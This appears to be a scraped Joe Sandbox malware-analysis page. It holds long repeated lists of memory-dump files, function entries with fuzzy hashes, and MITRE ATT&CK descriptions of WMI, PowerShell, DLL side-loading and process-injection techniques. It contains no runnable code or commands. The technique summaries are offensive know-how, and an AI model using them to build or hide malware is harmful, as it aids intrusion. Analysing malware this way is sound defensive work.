Associated: 00000003.00000002.2503215452.0000000000F27000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503238570.0000000000F2A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503262641.0000000000F42000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503282571.0000000000F43000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503302404.0000000000F44000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503302404.0000000000F4D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503342731.0000000000F57000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503361359.0000000000F59000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503381372.0000000000F62000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503400609.0000000000F69000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503425925.0000000000F7F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503448354.0000000000F90000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503468415.0000000000F9E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503488378.0000000000FA2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503506049.0000000000FA3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503528748.0000000000FA5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503548750.0000000000FB1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503568955.0000000000FBA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503587133.0000000000FBB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503605476.0000000000FC0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503623415.0000000000FC1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503642793.0000000000FC5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503666579.0000000000FD7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503686015.0000000000FDA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503705018.0000000000FDB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503727975.0000000000FE2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503750156.0000000000FEA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503769293.0000000000FEB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503790457.0000000000FEC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503811120.0000000000FF3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503835005.0000000001002000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503855110.0000000001004000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503873908.0000000001005000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503892113.0000000001008000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503911483.0000000001011000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503929541.0000000001012000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503959480.000000000104D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503977962.000000000104E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2504006767.000000000104F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2504006767.0000000001057000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2504048302.0000000001066000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2504067835.0000000001068000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_dc0000_QL5S57X7LY8KPTXEALS6X0KXHK0MG.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 0e3f614ada74b1596ecfe488f8369e16b55793e255ea3dcf4aed03884fafbf6f
Instruction ID: 5164e50c88f7372d7df0454294228ea760e4cc09229d5b5352d240e767da5bc9
Opcode Fuzzy Hash: 0e3f614ada74b1596ecfe488f8369e16b55793e255ea3dcf4aed03884fafbf6f
Instruction Fuzzy Hash: 6AD09E3440420A8FDB405F74D04879D7BA1EF04721F214559E9A683980C7718D54DA1A

Function 00DCE75F Relevance: 1.3, APIs: 1, Instructions: 8memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE ref: 00DCE75F

Memory Dump Source

Source File: 00000003.00000002.2503039242.0000000000DCA000.00000040.00000001.01000000.00000006.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000003.00000002.2502970442.0000000000DC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2502997755.0000000000DC2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503018669.0000000000DC6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503059780.0000000000DD4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503080086.0000000000DD5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503098558.0000000000DD6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503215452.0000000000F27000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503238570.0000000000F2A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503262641.0000000000F42000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503282571.0000000000F43000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503302404.0000000000F44000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503302404.0000000000F4D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503342731.0000000000F57000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503361359.0000000000F59000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503381372.0000000000F62000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503400609.0000000000F69000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503425925.0000000000F7F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503448354.0000000000F90000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503468415.0000000000F9E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503488378.0000000000FA2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503506049.0000000000FA3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503528748.0000000000FA5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503548750.0000000000FB1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503568955.0000000000FBA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503587133.0000000000FBB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503605476.0000000000FC0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503623415.0000000000FC1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503642793.0000000000FC5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503666579.0000000000FD7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503686015.0000000000FDA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503705018.0000000000FDB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503727975.0000000000FE2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503750156.0000000000FEA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503769293.0000000000FEB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503790457.0000000000FEC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503811120.0000000000FF3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503835005.0000000001002000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503855110.0000000001004000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503873908.0000000001005000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503892113.0000000001008000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503911483.0000000001011000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503929541.0000000001012000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503959480.000000000104D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503977962.000000000104E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2504006767.000000000104F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2504006767.0000000001057000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2504048302.0000000001066000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2504067835.0000000001068000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_dc0000_QL5S57X7LY8KPTXEALS6X0KXHK0MG.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 0278bd54a2fc939eb43036bfad47f2f9426b6415fecf479d0f883b253df7e69a
Instruction ID: 5865930f8c1ba13c9ee15507bba0f6224cb618d14a2321832e0aa128725285c9
Opcode Fuzzy Hash: 0278bd54a2fc939eb43036bfad47f2f9426b6415fecf479d0f883b253df7e69a
Instruction Fuzzy Hash: 67C04CB841410A9FDB165F14C844FBE7765EB24711F104518AEC182650D2361C30DE25

Non-executed Functions

Function 00DCDCB7 Relevance: .3, Instructions: 290COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2503039242.0000000000DCA000.00000040.00000001.01000000.00000006.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000003.00000002.2502970442.0000000000DC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2502997755.0000000000DC2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503018669.0000000000DC6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503059780.0000000000DD4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503080086.0000000000DD5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503098558.0000000000DD6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503215452.0000000000F27000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503238570.0000000000F2A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503262641.0000000000F42000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503282571.0000000000F43000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503302404.0000000000F44000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503302404.0000000000F4D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503342731.0000000000F57000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503361359.0000000000F59000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503381372.0000000000F62000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503400609.0000000000F69000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503425925.0000000000F7F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503448354.0000000000F90000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503468415.0000000000F9E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503488378.0000000000FA2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503506049.0000000000FA3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503528748.0000000000FA5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503548750.0000000000FB1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503568955.0000000000FBA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503587133.0000000000FBB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503605476.0000000000FC0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503623415.0000000000FC1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503642793.0000000000FC5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503666579.0000000000FD7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503686015.0000000000FDA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503705018.0000000000FDB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503727975.0000000000FE2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503750156.0000000000FEA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503769293.0000000000FEB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503790457.0000000000FEC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503811120.0000000000FF3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503835005.0000000001002000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503855110.0000000001004000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503873908.0000000001005000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503892113.0000000001008000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503911483.0000000001011000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503929541.0000000001012000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503959480.000000000104D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503977962.000000000104E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2504006767.000000000104F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2504006767.0000000001057000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2504048302.0000000001066000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2504067835.0000000001068000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_dc0000_QL5S57X7LY8KPTXEALS6X0KXHK0MG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4721e25457032d00cea300cd4f271558a339d5fa4fdba14b237941e5a8e6d6b1
Instruction ID: 6e443ec242dc15ba708643dfc8c7bc5a59c6fe0bc5af24cdc6e54426a314a1b4
Opcode Fuzzy Hash: 4721e25457032d00cea300cd4f271558a339d5fa4fdba14b237941e5a8e6d6b1
Instruction Fuzzy Hash: AF91C57250835B8FCB01CF25C9416EF37E2FF55320B28457EE88687A42D2B29D11DBA9

Function 00DCE729 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2503039242.0000000000DCA000.00000040.00000001.01000000.00000006.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000003.00000002.2502970442.0000000000DC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2502997755.0000000000DC2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503018669.0000000000DC6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503059780.0000000000DD4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503080086.0000000000DD5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503098558.0000000000DD6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503215452.0000000000F27000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503238570.0000000000F2A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503262641.0000000000F42000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503282571.0000000000F43000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503302404.0000000000F44000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503302404.0000000000F4D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503342731.0000000000F57000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503361359.0000000000F59000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503381372.0000000000F62000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503400609.0000000000F69000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503425925.0000000000F7F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503448354.0000000000F90000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503468415.0000000000F9E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503488378.0000000000FA2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503506049.0000000000FA3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503528748.0000000000FA5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503548750.0000000000FB1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503568955.0000000000FBA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503587133.0000000000FBB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503605476.0000000000FC0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503623415.0000000000FC1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503642793.0000000000FC5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503666579.0000000000FD7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503686015.0000000000FDA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503705018.0000000000FDB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503727975.0000000000FE2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503750156.0000000000FEA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503769293.0000000000FEB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503790457.0000000000FEC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503811120.0000000000FF3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503835005.0000000001002000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503855110.0000000001004000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503873908.0000000001005000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503892113.0000000001008000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503911483.0000000001011000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503929541.0000000001012000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503959480.000000000104D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503977962.000000000104E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2504006767.000000000104F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2504006767.0000000001057000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2504048302.0000000001066000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2504067835.0000000001068000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_dc0000_QL5S57X7LY8KPTXEALS6X0KXHK0MG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bd8e72be6d25057211b692b86893c57842fcacf8f25cb94dd5478adf9d897094
Instruction ID: e6edc73c30a119c62000add98a193267482e1eb51ed5a7a596d910fb69dd35c1
Opcode Fuzzy Hash: bd8e72be6d25057211b692b86893c57842fcacf8f25cb94dd5478adf9d897094
Instruction Fuzzy Hash: D92148B110C706DFD719AF68D8C5B6EB7E5EF08310F228A2CD6D287690D6309850DF66

Function 00F48ABF Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2503302404.0000000000F44000.00000040.00000001.01000000.00000006.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000003.00000002.2502970442.0000000000DC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2502997755.0000000000DC2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503018669.0000000000DC6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503039242.0000000000DCA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503059780.0000000000DD4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503080086.0000000000DD5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503098558.0000000000DD6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503215452.0000000000F27000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503238570.0000000000F2A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503262641.0000000000F42000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503282571.0000000000F43000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503302404.0000000000F4D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503342731.0000000000F57000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503361359.0000000000F59000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503381372.0000000000F62000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503400609.0000000000F69000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503425925.0000000000F7F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503448354.0000000000F90000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503468415.0000000000F9E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503488378.0000000000FA2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503506049.0000000000FA3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503528748.0000000000FA5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503548750.0000000000FB1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503568955.0000000000FBA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503587133.0000000000FBB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503605476.0000000000FC0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503623415.0000000000FC1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503642793.0000000000FC5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503666579.0000000000FD7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503686015.0000000000FDA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503705018.0000000000FDB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503727975.0000000000FE2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503750156.0000000000FEA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503769293.0000000000FEB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503790457.0000000000FEC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503811120.0000000000FF3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503835005.0000000001002000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503855110.0000000001004000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503873908.0000000001005000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503892113.0000000001008000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503911483.0000000001011000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503929541.0000000001012000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503959480.000000000104D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503977962.000000000104E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2504006767.000000000104F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2504006767.0000000001057000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2504048302.0000000001066000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2504067835.0000000001068000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_dc0000_QL5S57X7LY8KPTXEALS6X0KXHK0MG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4af8d92a16c3c48fbaede30ee745b44ccf65601413504d439d22557de048d83b
Instruction ID: 119d6527a387a3f833ac2e6d0a4355af7aa28f1ca71c97ddf4296067c2b736bc
Opcode Fuzzy Hash: 4af8d92a16c3c48fbaede30ee745b44ccf65601413504d439d22557de048d83b
Instruction Fuzzy Hash: 5CF046B32482403FF305DDA06D26FFF7B6CD7C1720F21881AF900DA042D2881E098630

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
